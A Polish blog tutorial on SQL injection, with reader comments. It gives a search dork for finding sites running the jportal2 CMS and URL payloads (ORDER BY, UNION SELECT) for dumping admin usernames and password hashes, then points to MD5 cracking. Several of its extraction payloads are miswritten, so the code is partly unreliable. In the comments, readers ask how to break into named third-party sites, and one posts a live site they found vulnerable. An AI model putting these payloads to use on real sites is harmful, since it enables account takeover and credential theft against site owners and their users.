Atak SQL Injection - w praktyce !
Sposoby zabezpieczeń przed atakiem sql. Sprawdzamy podatność strony na atak i ukazujemy słabość skryptu.
flickr, ardenswayoflife
Zastanawiałem się czy napisać ten artykuł czy nie napisać ;) Zdecydowałem się go napisać - zresztą w internecie o tego typu rzeczach jest bardzo dużo. Chciałbym tutaj przedstawić sposób na sprawdzenie czy nasza - podkreślam nasza - strona internetowa jest dobrze zabezpieczona. Posłużymy się tutaj tzw. atakiem "sql injection". Ale wszystko po kolei - będzie to prosty tutorial - nie będę się wgłębiał w szczegóły - ale myślę, że wszystko zrozumiesz. Pamiętaj, że materiały tutaj dostępne są wyłącznie w celach edukacyjnych (zgodnych z prawem) ! Możesz sprawdzić ich działanie wyłącznie na własnej stronie - w ten sposób poznasz mechanizm działania tego ataku i ewentualnie ustrzeżesz się przed nim.
1. Coś na początek :
Wejdźmy na stronę : http://www.idg.pl/news/135808/Dziesiatki.tysiecy.serwisow.padlo.ofiara.ataku.typu.SQL.Injection.html
jak sami zobaczycie - atak sql injection jest bardzo niebezpieczny a w internecie aż roi się od słabo zabezpieczonych stron ! Są to nie tylko prywatne strony, ale co gorsza zdarzają się że są to ważne urzędy państwowe. Dobrze gdy znajdzie się ktoś kto powiadomi o słabym zabezpieczeniu strony - ale gorzej gdy ktoś to wykorzysta np. wykradając hasła użytkowników lub co gorsza jakieś konta bankowe itp...
2. Czym jest Sql Injection :
Posłużę się tutaj trochę wikipedią - chodzi mniej więcej o to, że część stron jest słabo filtrowana. Dzięki temu możemy o niej wstrzyknąć jakiś kod (*zapytanie), który zostanie przez skrypt serwera(*bazę danych) zrealizowany.
Dla przykładu (dla tych którzy znają trochę zasad z logiki):
- przypomnę, że w logice - zdania logiczne przyjmują wartości (tak jak w informatyce system 2-owy) zera oraz 1
Czyli mając np. w bazie coś takiego (logowanie) :
Nazwa użytkownika =' ... ' - gdzie w miejsce wykropkowane normalnie wpisujemy login/hasło
Nazwa użytkownika='admin' - możemy tak wpisać, ale nie wiemy czy taki użytkownik istnieje, możemy się posłużyć zapytaniem "or" - gdzie w przypadku gdy jedno zdanie jest prawdziwe, to całe zapytanie jest prawdziwe np.
Nazwa użytkownika='admin' or '1'='1' - zdanie/zapytanie to będzie zawsze prawdziwe, wiemy że or oznacza "lub" - a zdanie 1=1 jest na 100% prawdziwe. Podobnie można zrobić z hasłem dzięki temu zalogujemy się np. na konto admina :)
Wygląda to mniej więcej tak : http://pl.wikipedia.org/wiki/SQL_injection
2. Do rzeczy - jak to wygląda w praktyce :
Nikt nie lubi czytać długich teorii więc przejdę do rzeczy - będzie to przykład błędu dla cms'a jportal2 .
W jportalu2 znaleziono lukę w skrypcie do pisania artykułów, więc nasz kod będziemy właśnie w tych miejscach wstrzykiwać.
Znajdujemy więc nasz cel wpisując np.w google zapytanie (*oczywiście musi to być nasza strona)
+"jportal2" +inurl:"articles.php?topic="
Wchodzimy na tą stronę i widzimy mniej więcej taki link :
www.nazwa.pl/
articles.php?topic=1
Teraz aby sprawdzić czy nasza strona jest słabo filtrowana a tym samym podatna na sql injection - dodajemy średnik na końcu linku w przeglądarce a więc :
www.nazwa.pl/
articles.php?topic=1
'
Jeżeli pojawi się komunikat w stylu : "Warning
mysql_fetch_array
...." - to znaczy, że strona jest podatna na atak(*mamy duże prawdopodobieństwo udanego ataku).
Teraz czas na zapytanie " order by " aby sprawdzić ile tabel liczy baza :
Aby nam było lepiej dostrzec różnicę pomiędzy zmianami na stronie (pojawią się małe cyferki), to w miejsce "topic= " - wpiszemy w linku nie istniejący artykuł np.
www.nazwa.pl/
articles.php?topic=-1
lub
www.nazwa.pl/
articles.php?topic=-9999999
Teraz piszemy zapytanie order by :
www.nazwa.pl/
articles.php?topic=-1
+order+by+1--
Jeżeli nie ma błędu to podnosimy liczbę :
www.nazwa.pl/
articles.php?topic=-1
+order+by+2--
Nadal nic....
www.nazwa.pl/
articles.php?topic=-1
+order+by+6--
Błąd !! A więc tabel jest mniej niż 6 - sprawdźmy dla pięciu :
www.nazwa.pl/
articles.php?topic=-1
+order+by+5--
Bingo :) W jportalu2 przeważnie mamy 5 tabel :) Nie ma błędu !
Teraz sprawdzimy do jakiej kolumny możemy się wstrzelić. Będą się tutaj pojawiać takie małe cyferki - warto ich szukać ! Są to takie małe pojedyńcze cyferki np. 2 albo 4 itp...
A więc wpisujemy jako link w oknie przeglądarki polecenie "union select" :
www.nazwa.pl/
articles.php?topic=-1
+union+select+1,2,3,4,5--
Szukamy samotnej cyferki i w zależności od tego co nam wyskoczy - wstrzykujemy się w tą kolumnę np.
- gdy pojawiła się 3
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,zapytanie,4,5--
- gdy pojawiła się 4
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,3,zapytanie,5--
- gdy mamy 1
www.nazwa.pl/
articles.php?topic=-1
+order+by+zapytanie,2,3,4,5--
Teraz jeżeli chcemy poznać np. hasła i nazwy użytkowników wpisujemy takie zapytanie (dla przykładu gdy pojawiła się 3) :
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,nick,4,5+from+admins--
oraz
www.nazwa.pl/
articles.php?topic=-1
+order+by+1,2,pass,4,5+from+admins--
Pierwszy link wyciąga z bazy danych z tabeli admins kolumnę z użytkownikami. W wyniku dostaniemy nazwy użytkowników.
Drugi link wyciąga hasła z tej samej tabeli jak wyżej.
Wpisałem tutaj nick,pass oraz +from+admins - co to jest i skąd się to wzięło ?
Nick oraz Pass są to nazwy kolumn - przeważnie gdy chodzi o logowanie użytkowników to w bazie danych hasła są zapisane w nazwie kolumny "pass" a nicki w nazwie "nick".
Oczywiście może tam być np. password oraz nicks czy też haslo oraz loginy !
Na tym etapie(*twojej wiedzy z tego zakresu) to metoda prób i błędów co się powiedzie :) Ale w przypadku jportal2 standardowo jest tak jak napisałem wyżej.
Stąd pewnie już wiesz skąd wytrzasnąłem +from+admins - to jest nazwa skąd będziemy wyciągać nasze dane (+z+nazwa) - from (skąd)+(nazwa) - w tym przypadku admins.
Istnieje także metoda sprawdzania jakie są inne nazwy tabel itp.. oraz metoda wyciągania loginów i haseł za pierwszym razem w jednym zapytaniu - ale o tym może innym razem :)
Hasła będą przeważnie zakodowane (ale nie zawsze) w kodzie md5, musimy je odkodować w google łatwo znaleźć takie rzeczy :) NP. http://www.md5decrypter.com/ , albo wystarczy wpisać ten hash.
Co zrobić aby się zabezpieczyć przed atakiem sql injection (*jportal2):
Trzeba mieć aktualne wersje skryptu - dlatego są różnego rodzaju poprawki i wychodzą nowe wersje. W przypadku jportal2 warto wejść na http://jportal2.pl/articles.php , gdzie pisze co i jak trzeba wykonać aby się zabezpieczyć. Polecam także http://jportal2.pl/articles.php?id=2. Warto poprawić filtrowanie strony aby proste zapytania typu 1=1 nie przechodziły :)
Dla tych którzy będą chcieli się trochę pobawić w sql injection - http://www.sqltest.uw-host.org/ oraz http://www.kacperg333.eu/ - są to strony z zadaniami z wykorzystaniem błędu sql injection !
15 komentarze:
no spoko ale jak przepowadzić atak na stronę NP www.ps-dm.pl/ ? jest ona na hostingu boo.pl i jest w php ale jak wpisuje obojętnie który z kodów to brak reakcji lub nic się nie zmienia zaprezentujesz to jakoś?
Nie ma gotowych rozwiązań ! Tutaj nie chodzi o atak, ale o obronę. Sprawdzamy czy strona jest podatna na sql injection poprzez kilka zapytań - gdy wiemy że jest podatna to trzeba zmodyfikować nieco jej kod aby się przed tym zabezpieczyć.
Ponadto nie łamiemy zabezpieczeń cudzych stron - żadnych prezentacji nie będzie.
wielkie 0 dla tego typa!
Spoko tylko nie kumam za duzo :P
Postaram się, napisać lepszy artykuł - nie są to jednak proste sprawy ;)
Jak włamac się na konto na www.gry.pl ??
założyłem się z nauczycielem od UTK że uda mi się włamać na jego stronę i sprawić żeby nie działała :D Panowie pomoże ktoś ? chodzi to o ocenę celującą na semestr pilne !! Mówię całkiem poważnie :-)
koluniu chce zaimponować a tylko wkurw człowieka
a np. na howrse
jak zrobić ?
kurna ale wy tępi jesteście :/ Przemo ten artykuł napisał po to by ktoś tacy jak my mogli sobie zabezpieczyć stronę, a Wy chcecie przeprowadzać ataki na strony typu gry.pl nie znając podstaw html'a a tym bardziej php! żeby taki atak wykonać trzeba mieć trochę 'sieczki' w głowie. jeden z użytkowników wyżej napisał "...wpisuje obojętnie który z kodów to brak reakcji..." a co Ty kolego myślisz że Ci wyskoczy info "błędna składnia polecenia błąd w linii 428" ? śmieszne :D jak nie znacie podstaw to się za to nie bierzcie to taka rada ode mnie :) a artykuł świetny, przejrzysty i zrozumiały. Lepszego w internecie nie znalazłem ;d 10/10 ;-)
Pozdrawiam, Rosso (czyli. Mateusz;d)
no to imetin.pl powoli pada, dzięki panowie za pomoc w prostej sprawie.
mam do ciebie pytanie bo znalazłem strone podatna na atak i wszystko jest ok aż do momentu wyświetlania loginów i haseł strona:
http://www.gim3.eu/articles.php?topic=4
A ja chce włamać się na konto GWO na strefę nauczyciela i jak mam to zrobić skoro nic z tego czegoś nie rozumiem ? Bardzo bym chciała tam nie ma nic szczególnego ale bardzo bym chciałaaa zobaczyć jak to wygląda ! Pomooocyyyyy!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
jebnij sie w leb
Jezu nie uda wam się włamać na tak znane strony jak np. gry.pl , chyba że jesteście mega hackerami, ale wtedy sami powinniscie potrafic taki atak przeprowadzic, a nie czytac poradnika -.-
Prześlij komentarz